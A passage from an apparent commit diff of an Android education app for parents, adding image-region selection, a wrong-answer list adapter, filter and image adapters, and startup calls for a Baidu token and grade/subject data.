201 final MotionEvent moveEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_MOVE, x2, y2, 0);
202 final MotionEvent upEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_UP, x2, y2, 0);
203 binding.markView.onTouchEvent(downEvent);
204 binding.markView.onTouchEvent(moveEvent);
205 binding.markView.onTouchEvent(upEvent);
206 downEvent.recycle();
207 moveEvent.recycle();
208 upEvent.recycle();
209 }
210
211 @Override
212 protected ActivityImageEditBinding getViewBinding() {
213 return ActivityImageEditBinding.inflate(getLayoutInflater());
214 }
215
216 @Override
217 protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
218 super.onActivityResult(requestCode, resultCode, data);
219 if (resultCode == RESULT_OK && !TextUtils.isEmpty(filepath)) {
220 bitmap = BitmapFactory.decodeFile(filepath);
221 showImage(false);
222 }
223 }
224 }
225
app/src/main/java/com/hjx/parent/ImageSelectActivity.java
File was created 1 package com.hjx.parent;
2
3 import android.content.Intent;
4 import android.graphics.Bitmap;
5 import android.graphics.BitmapFactory;
6 import android.graphics.Canvas;
7 import android.graphics.Paint;
8 import android.graphics.Rect;
9 import android.os.Bundle;
10 import android.os.SystemClock;
11 import android.util.Log;
12 import android.view.MotionEvent;
13 import android.view.View;
14 import android.widget.RelativeLayout;
15
16 import com.hjx.parent.databinding.ActivityImageSelectBinding;
17 import com.prws.common.bean.CutPicBean;
18 import com.prws.common.bean.ImageBean;
19 import com.prws.common.utils.BitmapUtils;
20 import com.prws.common.utils.CommonUtil;
21 import com.prws.common.widget.MarkSizeView;
22
23 public class ImageSelectActivity extends BaseActivity<ActivityImageSelectBinding> {
24 private Bitmap bitmap;
25 Rect rect;
26 private double widthFold, heightFold;
27 private Bitmap backGroundBitmap;
28 private int bitmapWidth, bitmapHeight;
29 private Rect select;
30
31 @Override
32 public void initView(Bundle savedInstanceState) {
33 String path = getIntent().getStringExtra("path");
34 bitmap = BitmapFactory.decodeFile(path);
35 showImage();
36 binding.markView.setmOnClickListener(new MarkSizeView.onClickListener() {
37 @Override
38 public void onConfirm(Rect markedArea) {
39 int markSizeViewWidth = binding.markView.getWidth();
40 int markSizeHeight = binding.markView.getHeight();
41 backGroundBitmap = binding.markView.getBackGroundBitmap();
42 bitmapWidth = backGroundBitmap.getWidth();
43 bitmapHeight = backGroundBitmap.getHeight();
44 widthFold = CommonUtil.div(bitmapWidth, markSizeViewWidth, 2);
45 heightFold = CommonUtil.div(bitmapHeight, markSizeHeight, 2);
46 Log.d(toString(), markedArea.toString());
47 drawRectangles(markedArea);
48 binding.markView.reset();
49 }
50
51 @Override
52 public void onCancel() {
53 rect = null;
54 }
55
56 @Override
57 public void onTouch() {
58
59 }
60 });
61 binding.tvSave.setOnClickListener(new View.OnClickListener() {
62 @Override
63 public void onClick(View v) {
64 if (rect != null) {
65 if (select == null) {
66 Intent intent = new Intent();
67 intent.putExtra("cut", rect);
68 setResult(1004, intent);
69 finish();
70 } else {
71 Intent intent = new Intent();
72 intent.putExtra("cut", rect);
73 intent.putExtra("position", getIntent().getIntExtra("position", 0));
74 setResult(1005, intent);
75 finish();
76 }
77 } else {
78 showToast("未选择框题区域");
79 }
80 }
81 });
82 binding.llDelete.setOnClickListener(new View.OnClickListener() {
83 @Override
84 public void onClick(View v) {
85 if (select == null) {
86 finish();
87 } else {
88 rect = null;
89 Intent intent = new Intent();
90 intent.putExtra("cut", rect);
91 intent.putExtra("position", getIntent().getIntExtra("position", 0));
92 setResult(1005, intent);
93 finish();
94 }
95 }
96 });
97 }
98
99 private void simulateClick(int x1, int x2, int y1, int y2) {
100 long downTime = SystemClock.uptimeMillis();
101 final MotionEvent downEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_DOWN, x1, y1, 0);
102 downTime += 1000;
103 final MotionEvent moveEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_MOVE, x2, y2, 0);
104 final MotionEvent upEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_UP, x2, y2, 0);
105 binding.markView.onTouchEvent(downEvent);
106 binding.markView.onTouchEvent(moveEvent);
107 binding.markView.onTouchEvent(upEvent);
108 downEvent.recycle();
109 moveEvent.recycle();
110 upEvent.recycle();
111 }
112
113 private void drawRectangles(Rect ints) {
114 rect = new Rect(ints.left, ints.top, ints.right, ints.bottom);
115 Log.d(toString(), ints.toString());
116 Rect rect = new Rect(CommonUtil.mulForInt(ints.left, widthFold), CommonUtil.mulForInt(ints.top, heightFold), CommonUtil.mulForInt(ints.right, widthFold), CommonUtil.mulForInt(ints.bottom, heightFold));
117 // Log.d(toString(),rect.toString());
118 Bitmap mutableBitmap = backGroundBitmap.copy(Bitmap.Config.ARGB_8888, true);
119 Canvas canvas = new Canvas(mutableBitmap);
120 //画矩形框
121 Paint paint = new Paint();
122 paint.setAntiAlias(true);
123 paint.setStyle(Paint.Style.FILL);//填充
124 paint.setStrokeWidth(CommonUtil.dpToPx(this, 1)); //线的宽度
125 paint.setColor(getColor(R.color.select_fill));
126 canvas.drawRect(rect, paint);
127 paint.setStyle(Paint.Style.STROKE);//不填充
128 paint.setColor(getColor(R.color.select_border));
129 canvas.drawRect(rect, paint);
130 binding.markView.setBackGroundBitmap(mutableBitmap);
131 }
132
133 private void showImage() {
134 float imageHeight = bitmap.getHeight();
135 float imageWidth = bitmap.getWidth();
136 float viewHeight = CommonUtil.getScreenHeight(context) - CommonUtil.dpToPx(context, 250);
137 float viewWidth = CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 60);
138 binding.markView.post(new Runnable() {
139 @Override
140 public void run() {
141 binding.markView.reset();
142 RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(binding.markView.getLayoutParams());
143 if (imageHeight / imageWidth > viewHeight / viewWidth) {
144 if (viewHeight > imageHeight) {
145 layoutParams.height = (int) imageHeight;
146 layoutParams.width = (int) imageWidth;
147 } else {
148 layoutParams.height = (int) viewHeight;
149 layoutParams.width = (int) ((float) (imageWidth / imageHeight) * viewHeight);
150 }
151 } else {
152 if (viewWidth > imageWidth) {
153 layoutParams.height = (int) imageHeight;
154 layoutParams.width = (int) imageWidth;
155 } else {
156 layoutParams.height = (int) ((float) (imageHeight / imageWidth) * viewWidth);
157 layoutParams.width = (int) viewWidth;
158 }
159 }
160 layoutParams.addRule(RelativeLayout.CENTER_IN_PARENT);
161 binding.markView.setLayoutParams(layoutParams);
162 binding.markView.setBackGroundBitmap(bitmap);
163 binding.markView.reset();
164 select = getIntent().getParcelableExtra("rect");
165 if (select != null) {
166 simulateClick(select.left, select.right, select.top, select.bottom);
167 }
168 }
169 });
170 }
171
172 @Override
173 protected void onDestroy() {
174 if (backGroundBitmap != null) {
175 backGroundBitmap.recycle();
176 backGroundBitmap = null;
177 }
178 if (bitmap != null) {
179 bitmap.recycle();
180 bitmap = null;
181 }
182 super.onDestroy();
183 }
184
185 @Override
186 protected ActivityImageSelectBinding getViewBinding() {
187 return ActivityImageSelectBinding.inflate(getLayoutInflater());
188 }
189 }
190
app/src/main/java/com/hjx/parent/MainActivity.java
1 package com.hjx.parent; 1 package com.hjx.parent;
2 2
3 import androidx.appcompat.app.AppCompatActivity; 3 import androidx.appcompat.app.AppCompatActivity;
4 import androidx.constraintlayout.widget.ConstraintLayout; 4 import androidx.constraintlayout.widget.ConstraintLayout;
5 5
6 import android.graphics.Color; 6 import android.graphics.Color;
7 import android.os.Bundle; 7 import android.os.Bundle;
8 import android.widget.ImageView; 8 import android.widget.ImageView;
9 import android.widget.TextView; 9 import android.widget.TextView;
10 10
11 import com.google.gson.JsonObject;
11 import com.hjx.parent.fragment.HomeFragment; 12 import com.hjx.parent.fragment.HomeFragment;
12 import com.hjx.parent.fragment.MeFragment; 13 import com.hjx.parent.fragment.MeFragment;
13 import com.prws.common.base.BaseActivity; 14 import com.prws.common.base.BaseActivity;
14 import com.prws.common.base.BasePresenter; 15 import com.prws.common.base.BasePresenter;
16 import com.prws.common.bean.GradeAndSubject;
17 import com.prws.common.bean.ResponseResult;
18 import com.prws.common.net.NetWorks;
19 import com.prws.common.utils.SharedPreferencesUtil;
20
21 import java.util.List;
22
23 import io.reactivex.Observer;
24 import io.reactivex.disposables.Disposable;
15 25
16 public class MainActivity extends BaseActivity { 26 public class MainActivity extends BaseActivity {
17 27
18 @Override 28 @Override
19 protected int layoutResId() { 29 protected int layoutResId() {
20 return R.layout.activity_main; 30 return R.layout.activity_main;
21 } 31 }
22 32
23 @Override 33 @Override
24 public Object getContract() { 34 public Object getContract() {
25 return null; 35 return null;
26 } 36 }
27 37
28 @Override 38 @Override
29 public BasePresenter getPresenter() { 39 public BasePresenter getPresenter() {
30 return null; 40 return null;
31 } 41 }
32 42
33 43
34 HomeFragment homeFragment; 44 HomeFragment homeFragment;
35 MeFragment meFragment; 45 MeFragment meFragment;
36 ConstraintLayout cl_home; 46 ConstraintLayout cl_home;
37 ConstraintLayout cl_me; 47 ConstraintLayout cl_me;
38 ImageView iv_3, iv_4; 48 ImageView iv_3, iv_4;
39 TextView tv_1, tv_4; 49 TextView tv_1, tv_4;
40 50
41 @Override 51 @Override
42 protected void initView() { 52 protected void initView() {
43 showFragment(getHomeFragment(), R.id.rl_content); 53 showFragment(getHomeFragment(), R.id.rl_content);
44 cl_home = findViewById(R.id.cl_home); 54 cl_home = findViewById(R.id.cl_home);
45 cl_me = findViewById(R.id.cl_me); 55 cl_me = findViewById(R.id.cl_me);
46 iv_3 = findViewById(R.id.iv_3); 56 iv_3 = findViewById(R.id.iv_3);
47 iv_4 = findViewById(R.id.iv_4); 57 iv_4 = findViewById(R.id.iv_4);
48 tv_1 = findViewById(R.id.tv_1); 58 tv_1 = findViewById(R.id.tv_1);
49 tv_4 = findViewById(R.id.tv_4); 59 tv_4 = findViewById(R.id.tv_4);
50 iv_3.setBackgroundResource(R.mipmap.hoss); 60 iv_3.setBackgroundResource(R.mipmap.hoss);
51 tv_1.setTextColor(Color.parseColor("#FE5E09")); 61 tv_1.setTextColor(Color.parseColor("#FE5E09"));
62 NetWorks.getBaiduToken(new Observer<JsonObject>() {
63 @Override
64 public void onSubscribe(Disposable d) {
65
66 }
67
68 @Override
69 public void onNext(JsonObject jsonObject) {
70 SharedPreferencesUtil.putData("baiduToken", jsonObject.get("access_token").getAsString());
71 }
72
73 @Override
74 public void onError(Throwable e) {
75
76 }
77
78 @Override
79 public void onComplete() {
80
81 }
82 });
83 NetWorks.listGradeAndSubject(new Observer<ResponseResult<List<GradeAndSubject>>>() {
84 @Override
85 public void onSubscribe(Disposable d) {
86
87 }
88
89 @Override
90 public void onNext(ResponseResult<List<GradeAndSubject>> listResponseResult) {
91 App.getInstance().setGradeAndSubjects(listResponseResult.getData());
92 }
93
94 @Override
95 public void onError(Throwable e) {
96 e.toString();
97 }
98
99 @Override
100 public void onComplete() {
101
102 }
103 });
52 } 104 }
53 105
54 public HomeFragment getHomeFragment() { 106 public HomeFragment getHomeFragment() {
55 if (homeFragment == null) 107 if (homeFragment == null)
56 homeFragment = new HomeFragment(); 108 homeFragment = new HomeFragment();
57 return homeFragment; 109 return homeFragment;
58 } 110 }
59 111
60 public MeFragment getMeFragment() { 112 public MeFragment getMeFragment() {
61 if (meFragment == null) 113 if (meFragment == null)
62 meFragment = new MeFragment(); 114 meFragment = new MeFragment();
63 return meFragment; 115 return meFragment;
64 } 116 }
65 117
66 118
67 @Override 119 @Override
68 protected void initListener() { 120 protected void initListener() {
69 cl_home.setOnClickListener(view -> { 121 cl_home.setOnClickListener(view -> {
70 showFragment(getHomeFragment(), R.id.rl_content); 122 showFragment(getHomeFragment(), R.id.rl_content);
71 iv_3.setBackgroundResource(R.mipmap.hoss); 123 iv_3.setBackgroundResource(R.mipmap.hoss);
72 tv_1.setTextColor(Color.parseColor("#FE5E09")); 124 tv_1.setTextColor(Color.parseColor("#FE5E09"));
73 iv_4.setBackgroundResource(R.mipmap.wmus); 125 iv_4.setBackgroundResource(R.mipmap.wmus);
74 tv_4.setTextColor(Color.parseColor("#333333")); 126 tv_4.setTextColor(Color.parseColor("#333333"));
75 }); 127 });
76 128
77 cl_me.setOnClickListener(view -> { 129 cl_me.setOnClickListener(view -> {
78 showFragment(getMeFragment(), R.id.rl_content); 130 showFragment(getMeFragment(), R.id.rl_content);
79 iv_3.setBackgroundResource(R.mipmap.hous); 131 iv_3.setBackgroundResource(R.mipmap.hous);
80 tv_1.setTextColor(Color.parseColor("#333333")); 132 tv_1.setTextColor(Color.parseColor("#333333"));
81 iv_4.setBackgroundResource(R.mipmap.wmss); 133 iv_4.setBackgroundResource(R.mipmap.wmss);
82 tv_4.setTextColor(Color.parseColor("#FE5E09")); 134 tv_4.setTextColor(Color.parseColor("#FE5E09"));
83 }); 135 });
84 } 136 }
85 137
86 @Override 138 @Override
87 protected void initData() { 139 protected void initData() {
88 140
89 } 141 }
90 142
91 @Override 143 @Override
92 public void onNetChanged(int netWorkState) { 144 public void onNetChanged(int netWorkState) {
93 145
94 } 146 }
95 } 147 }
app/src/main/java/com/hjx/parent/MyApplication.java
1 package com.hjx.parent; File was deleted
2
3 import com.prws.common.CommonApplication;
4 import com.prws.common.utils.SharedPreferencesUtil;
5 import com.uuzuche.lib_zxing.activity.ZXingLibrary;
6
7 public class MyApplication extends CommonApplication {
8
9 @Override
10 public void onCreate() {
11 super.onCreate();
12
13 SharedPreferencesUtil.getInstance(this,"config");
14
15 ZXingLibrary.initDisplayOpinion(this);
16
17 }
18 }
19 1 package com.hjx.parent;
app/src/main/java/com/hjx/parent/adapter/ErrorAdapter.java
File was created 1 package com.hjx.parent.adapter;
2
3 import android.content.Context;
4 import android.content.Intent;
5 import android.graphics.drawable.Drawable;
6 import android.text.TextUtils;
7 import android.view.LayoutInflater;
8 import android.view.View;
9 import android.view.ViewGroup;
10 import android.webkit.WebSettings;
11 import android.widget.LinearLayout;
12
13 import androidx.annotation.NonNull;
14 import androidx.annotation.Nullable;
15 import androidx.recyclerview.widget.RecyclerView;
16
17 import com.bumptech.glide.Glide;
18 import com.bumptech.glide.request.target.SimpleTarget;
19 import com.bumptech.glide.request.transition.Transition;
20 import com.hjx.parent.ErrorDetailActivity;
21 import com.hjx.parent.R;
22 import com.hjx.parent.databinding.ItemErrorBinding;
23 import com.prws.common.bean.ErrorDetailBean;
24 import com.prws.common.bean.TopicBean;
25 import com.prws.common.utils.CommonUtil;
26 import com.prws.common.utils.StringUtils;
27
28 import java.text.SimpleDateFormat;
29 import java.util.ArrayList;
30 import java.util.List;
31
32 public class ErrorAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> {
33 private List<TopicBean> list;
34 private Context context;
35 public boolean edit;
36 private CheckInterface checkInterface;
37
38 public interface CheckInterface {
39 void onErrorCheck();
40 }
41
42 public ErrorAdapter(Context context, List<TopicBean> list, boolean edit, CheckInterface checkInterface) {
43 this.list = list;
44 this.context = context;
45 this.edit = edit;
46 this.checkInterface = checkInterface;
47 }
48
49 public ErrorAdapter(Context context, List<TopicBean> list, boolean edit) {
50 this.list = list;
51 this.context = context;
52 this.edit = edit;
53 }
54
55 public void checkAll(boolean check) {
56 for (TopicBean topicBean : list) {
57 topicBean.setCheck(check);
58 }
59 notifyDataSetChanged();
60 checkInterface.onErrorCheck();
61 }
62
63 public List<TopicBean> getChecKList() {
64 List<TopicBean> topicBeans = new ArrayList<>();
65 for (TopicBean topicBean : list) {
66 if (topicBean.isCheck()) {
67 topicBeans.add(topicBean);
68 }
69 }
70 return topicBeans;
71 }
72
73 public void setEdit(boolean edit) {
74 this.edit = edit;
75 notifyDataSetChanged();
76 }
77
78 public void addData(List<TopicBean> topicBeans) {
79 list.addAll(topicBeans);
80 notifyDataSetChanged();
81 }
82
83 public void refresh(List<TopicBean> list) {
84 this.list = list;
85 notifyDataSetChanged();
86 }
87
88 @NonNull
89 @Override
90 public RecyclerView.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
91 ItemErrorBinding itemTopicBinding = ItemErrorBinding.inflate(LayoutInflater.from(parent.getContext()), parent, false);
92 return new ErrorHolder(itemTopicBinding);
93 }
94
95 @Override
96 public void onBindViewHolder(@NonNull RecyclerView.ViewHolder viewHolder, int position) {
97 TopicBean topicBean = list.get(position);
98 ErrorHolder holder = (ErrorHolder) viewHolder;
99 holder.binding.ivCheck.setVisibility(edit ? View.VISIBLE : View.GONE);
100 holder.binding.ivCheck.setImageResource(topicBean.isCheck() ? R.mipmap.ic_select : R.mipmap.ic_unselect);
101 SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd");
102 if (position == 0 || !format.format(list.get(position - 1).getTime()).equals(format.format(topicBean.getTime()))) {
103 holder.binding.tvTime.setVisibility(View.VISIBLE);
104 holder.binding.tvTime.setText(format.format(topicBean.getTime()));
105 } else {
106 holder.binding.tvTime.setVisibility(View.GONE);
107 }
108 if (topicBean.isDone()) {
109 holder.binding.tvType.setText(context.getString(R.string.text_done));
110 holder.binding.tvType.setBackgroundResource(R.drawable.bg_done_text);
111 } else {
112 holder.binding.tvType.setText(context.getString(R.string.text_undo));
113 holder.binding.tvType.setBackgroundResource(R.drawable.bg_undo_text);
114 }
115 holder.binding.tvReason.setText("错因:" + context.getResources().getStringArray(R.array.error_reason)[topicBean.getReason()]);
116 if (topicBean.getBean() != null) {
117 ErrorDetailBean bean = topicBean.getBean();
118 holder.binding.ivTopic.setVisibility(View.GONE);
119 String linkCss = "<link rel=\"stylesheet\" href=\"file:///android_asset/style.css\" type=\"text/css\">";
120 StringBuilder sb = new StringBuilder(4096);
121 if (!TextUtils.isEmpty(bean.getLabel())) {
122 sb.append(bean.getLabel());
123 }
124 sb.append(bean.getContent());
125 if (bean.getOptions() != null && bean.getOptions().size() > 0) {
126 sb.append("<div class='pt1'>");
127 sb.append(StringUtils.OptionsHtml(bean.getOptions(), null));
128 sb.append("</div>");
129 }
130 String body = "<html><header>" + linkCss + "</header>" + sb.toString() + "</body></html>";
131 WebSettings settings = holder.binding.webview.getSettings();
132 // settings.setUseWideViewPort(true);//设定支持 viewport
133 // settings.setLoadWithOverviewMode(true); //自适应屏幕
134 // settings.setBuiltInZoomControls(true);
135 // settings.setDisplayZoomControls(false);
136 // settings.setSupportZoom(false);//设定支持缩放
137 holder.binding.webview.loadDataWithBaseURL(linkCss, body, "text/html", "UTF-8", null);
138 holder.binding.webview.setVisibility(View.VISIBLE);
139 if (bean.getPoints().size() > 0) {
140 String topic = context.getString(R.string.topic_start);
141 topic += ":";
142
143 for (int j = 0; j < bean.getPoints().size(); j++) {
144 if (j > 0) {
145 topic += "、";
146 }
147 topic += bean.getPoints().get(j).getValue();
148 }
149 holder.binding.tvPoint.setText(topic);
150 holder.binding.tvPoint.setVisibility(View.VISIBLE);
151 } else {
152 holder.binding.tvPoint.setVisibility(View.GONE);
153 }
154 } else {
155 holder.binding.webview.setVisibility(View.GONE);
156 holder.binding.tvPoint.setVisibility(View.GONE);
157 holder.binding.ivTopic.setVisibility(View.VISIBLE);
158 int maxWidth = CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 60);
159 Glide.with(context).load(topicBean.getPath()).into(new SimpleTarget<Drawable>() {
160 @Override
161 public void onResourceReady(@NonNull Drawable resource, @Nullable Transition<? super Drawable> transition) {
162 int width = resource.getIntrinsicWidth();
163 int height = resource.getIntrinsicHeight();
164 int newHeight = maxWidth * height / width;
165 LinearLayout.LayoutParams layoutParams = (LinearLayout.LayoutParams) holder.binding.ivTopic.getLayoutParams();
166 layoutParams.width = maxWidth;
167 layoutParams.height = newHeight;
168 holder.binding.ivTopic.setLayoutParams(layoutParams);
169 holder.binding.ivTopic.setImageDrawable(resource);
170 }
171 });
172 }
173 holder.itemView.setOnClickListener(new View.OnClickListener() {
174 @Override
175 public void onClick(View v) {
176 if (edit) {
177 list.get(position).setCheck(!topicBean.isCheck());
178 notifyItemChanged(position);
179 checkInterface.onErrorCheck();
180 } else {
181 Intent intent = new Intent(context, ErrorDetailActivity.class);
182 intent.putExtra("errorBean", topicBean);
183 context.startActivity(intent);
184 }
185 }
186 });
187 }
188
189 @Override
190 public int getItemCount() {
191 return list.size();
192 }
193
194 static class ErrorHolder extends RecyclerView.ViewHolder {
195 ItemErrorBinding binding;
196
197 public ErrorHolder(@NonNull ItemErrorBinding itemView) {
198 super(itemView.getRoot());
199 binding = itemView;
200 }
201 }
202 }
203
app/src/main/java/com/hjx/parent/adapter/FilterAdapter.java
File was created 1 package com.hjx.parent.adapter;
2
3 import android.content.Context;
4 import android.graphics.Color;
5 import android.view.LayoutInflater;
6 import android.view.View;
7 import android.view.ViewGroup;
8 import android.widget.TextView;
9
10 import androidx.annotation.NonNull;
11 import androidx.recyclerview.widget.RecyclerView;
12
13
14 import com.hjx.parent.R;
15 import com.hjx.parent.databinding.ItemFilterTextBinding;
16
17 import java.util.List;
18
19 public class FilterAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> {
20 private TextView type;
21 private List<String> list;
22 private Filter filter;
23 private Context context;
24 private String key;
25
26 public interface Filter {
27 void onSelect(TextView type, String select);
28 }
29
30 public FilterAdapter(Context context, Filter filter, List<String> list, TextView type, String key) {
31 this.context = context;
32 this.type = type;
33 this.filter = filter;
34 this.list = list;
35 this.key = key;
36 }
37
38 public void refresh(List<String> list, TextView type, String key) {
39 this.type = type;
40 this.list = list;
41 this.key = key;
42 notifyDataSetChanged();
43 }
44
45 public void refresh(String key) {
46 this.key = key;
47 notifyDataSetChanged();
48 }
49
50 @NonNull
51 @Override
52 public RecyclerView.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
53 ItemFilterTextBinding itemFilterBinding = ItemFilterTextBinding.inflate(LayoutInflater.from(parent.getContext()), parent, false);
54 return new FilterHolder(itemFilterBinding);
55 }
56
57 @Override
58 public void onBindViewHolder(@NonNull RecyclerView.ViewHolder viewHolder, int i) {
59 FilterHolder holder = (FilterHolder) viewHolder;
60 String value = list.get(i);
61 holder.binding.tvFilter.setText(value);
62 if (value.equals(key)) {
63 holder.binding.tvFilter.setTextColor(Color.WHITE);
64 holder.binding.tvFilter.setBackgroundResource(R.drawable.bg_soild_blue_25);
65 } else {
66 holder.binding.tvFilter.setTextColor(context.getColor(R.color.text_title));
67 holder.binding.tvFilter.setBackgroundResource(R.drawable.bg_solid_btn_grad);
68 }
69 holder.itemView.setOnClickListener(new View.OnClickListener() {
70 @Override
71 public void onClick(View view) {
72 filter.onSelect(type, value);
73 }
74 });
75 }
76
77 @Override
78 public int getItemCount() {
79 return list.size();
80 }
81
82 static class FilterHolder extends RecyclerView.ViewHolder {
83 ItemFilterTextBinding binding;
84
85 public FilterHolder(@NonNull ItemFilterTextBinding itemView) {
86 super(itemView.getRoot());
87 binding = itemView;
88 }
89 }
90 }
91
app/src/main/java/com/hjx/parent/adapter/ImageAdapter.java
File was created 1 package com.hjx.parent.adapter;
2
3 import android.content.Context;
4 import android.content.Intent;
5 import android.graphics.Bitmap;
6 import android.graphics.BitmapFactory;
7 import android.graphics.Rect;
8 import android.graphics.RectF;
9 import android.util.Log;
10 import android.view.LayoutInflater;
11 import android.view.View;
12 import android.view.ViewGroup;
13 import android.widget.ImageView;
14 import android.widget.RelativeLayout;
15
16 import androidx.annotation.NonNull;
17 import androidx.recyclerview.widget.RecyclerView;
18
19 import com.google.gson.Gson;
20 import com.hjx.parent.ImageActivity;
21 import com.hjx.parent.ImageSelectActivity;
22 import com.hjx.parent.R;
23 import com.hjx.parent.databinding.ItemImageBinding;
24 import com.prws.common.bean.ImageBean;
25 import com.prws.common.utils.CommonUtil;
26
27 import java.util.List;
28
29 public class ImageAdapter extends RecyclerView.Adapter<ImageAdapter.ImageHolder> {
30 private List<ImageBean> list;
31 private ImageActivity context;
32
33 public ImageAdapter(ImageActivity context, List<ImageBean> list) {
34 this.context = context;
35 this.list = list;
36 }
37
38 @NonNull
39 @Override
40 public ImageHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
41 ItemImageBinding itemImageBinding = ItemImageBinding.inflate(LayoutInflater.from(parent.getContext()), parent, false);
42 return new ImageHolder(itemImageBinding);
43 }
44
45 @Override
46 public void onBindViewHolder(@NonNull ImageHolder holder, int position) {
47 ImageBean imageBean = list.get(position);
48 Bitmap bitmap = BitmapFactory.decodeFile(imageBean.getPath());
49 float imageHeight = bitmap.getHeight();
50 float imageWidth = bitmap.getWidth();
51 float viewHeight = CommonUtil.getScreenHeight(context) - CommonUtil.dpToPx(context, 250);
52 float viewWidth = CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 60);
53
54 RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(holder.binding.ivPic.getLayoutParams());
55 if (imageHeight / imageWidth > viewHeight / viewWidth) {
56 if (viewHeight > imageHeight) {
57 layoutParams.height = (int) imageHeight;
58 layoutParams.width = (int) imageWidth;
59 } else {
60 layoutParams.height = (int) viewHeight;
61 layoutParams.width = (int) ((float) (imageWidth / imageHeight) * viewHeight);
62 }
63 } else {
64 if (viewWidth > imageWidth) {
65 layoutParams.height = (int) imageHeight;
66 layoutParams.width = (int) imageWidth;
67 } else {
68 layoutParams.height = (int) ((float) (imageHeight / imageWidth) * viewWidth);
69 layoutParams.width = (int) viewWidth;
70 }
71 }
72 layoutParams.addRule(RelativeLayout.CENTER_IN_PARENT);
73 holder.binding.ivPic.setLayoutParams(layoutParams);
74 holder.binding.ivPic.setImageBitmap(bitmap);
75
76
77 RelativeLayout.LayoutParams layoutParams1 = new RelativeLayout.LayoutParams(holder.binding.rlPic.getLayoutParams());
78 if (imageHeight / imageWidth > viewHeight / viewWidth) {
79 if (viewHeight > imageHeight) {
80 layoutParams1.height = (int) imageHeight;
81 layoutParams1.width = (int) imageWidth;
82 } else {
83 layoutParams1.height = (int) viewHeight;
84 layoutParams1.width = (int) ((float) (imageWidth / imageHeight) * viewHeight);
85 }
86 } else {
87 if (viewWidth > imageWidth) {
88 layoutParams1.height = (int) imageHeight;
89 layoutParams1.width = (int) imageWidth;
90 } else {
91 layoutParams1.height = (int) ((float) (imageHeight / imageWidth) * viewWidth);
92 layoutParams1.width = (int) viewWidth;
93 }
94 }
95 Log.i("figLoaction", "height=" + layoutParams1.height + " width=" + layoutParams1.width);
96 layoutParams1.addRule(RelativeLayout.CENTER_IN_PARENT);
97 holder.binding.rlPic.setLayoutParams(layoutParams1);
98 if (imageBean.getCuts() != null && imageBean.getCuts().size() > 0) {
99 holder.binding.rlPic.removeAllViews();
100 for (int i = 0; i < imageBean.getCuts().size(); i++) {
101 View view = LayoutInflater.from(context).inflate(R.layout.layout_select, null);
102 Rect rect;
103 if (imageBean.getCuts().get(i).getRect1() != null) {
104 rect = imageBean.getCuts().get(i).getRect1();
105 } else {
106 rect = CommonUtil.getRect(imageBean.getCuts().get(i).getRect(), bitmap, layoutParams1.height, layoutParams1.width);
107 imageBean.getCuts().get(i).setRect1(rect);
108 }
109 Log.i("figLoaction", new Gson().toJson(rect));
110 RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams(rect.right - rect.left, rect.bottom - rect.top);
111 params.setMargins(rect.left, rect.top, 0, 0);
112 holder.binding.rlPic.addView(view, params);
113 RelativeLayout rl_add = view.findViewById(R.id.rl_add);
114 ImageView iv_state = view.findViewById(R.id.iv_state);
115 ImageView iv_edit = view.findViewById(R.id.iv_edit);
116 int finalI = i;
117 rl_add.setOnClickListener(new View.OnClickListener() {
118 @Override
119 public void onClick(View v) {
120 Bitmap b = Bitmap.createBitmap(bitmap, v.getLeft() * bitmap.getWidth() / holder.binding.ivPic.getWidth(), v.getTop() * bitmap.getHeight() / holder.binding.ivPic.getHeight(), (v.getRight() - v.getLeft()) * bitmap.getWidth() / holder.binding.ivPic.getWidth(), (v.getBottom() - v.getTop()) * bitmap.getHeight() / holder.binding.ivPic.getHeight());
121 if (imageBean.getCuts().get(finalI).isSelect()) {
122 imageBean.getCuts().get(finalI).setSelect(false);
123 rl_add.setBackgroundResource(R.drawable.bg_cut_unselect);
124 iv_state.setImageResource(R.mipmap.ic_add);
125 } else {
126 imageBean.getCuts().get(finalI).setSelect(true);
127 imageBean.getCuts().get(finalI).setBitmap(b);
128 rl_add.setBackgroundResource(R.drawable.bg_cut_select);
129 iv_state.setImageResource(R.mipmap.ic_selected);
130 }
131 context.refreshNum();
132 }
133 });
134 iv_edit.setOnClickListener(new View.OnClickListener() {
135 @Override
136 public void onClick(View v) {
137 Intent intent = new Intent(context, ImageSelectActivity.class);
138 intent.putExtra("rect", rect);
139 intent.putExtra("path", imageBean.getPath());
140 intent.putExtra("position", finalI);
141 context.startActivityForResult(intent, 1001);
142 }
143 });
144 }
145 }
146 }
147
148 @Override
149 public int getItemCount() {
150 return list.size();
151 }
152
153 static class ImageHolder extends RecyclerView.ViewHolder {
154 ItemImageBinding binding;
155
156 public ImageHolder(@NonNull ItemImageBinding itemView) {
157 super(itemView.getRoot());
158 binding = itemView;
159 }
160 }
161 }
162
app/src/main/java/com/hjx/parent/adapter/LoadMoreOnScrollListener.java
File was created 1 package com.hjx.parent.adapter;
2
3
4 import androidx.annotation.NonNull;
5 import androidx.recyclerview.widget.LinearLayoutManager;
6 import androidx.recyclerview.widget.RecyclerView;
7
8 public abstract class LoadMoreOnScrollListener extends RecyclerView.OnScrollListener {
9
10 private LinearLayoutManager mLinearLayoutManager;
11
12 private int currentPage = 1;
13
14 /**
15 * 已经加载出来的item个数
16 */
17 private int totalItemCount;
18
19 /**
20 * 上一个totalItemCount
21 */
22 private int previousTotal = 0;
23
24 /**
25 * 屏幕上可见item个数
26 */
27 private int visibleItemCount;
28
29 /**
30 * 屏幕可见item的第一个
31 */
32 private int firstVisiableItem;
33
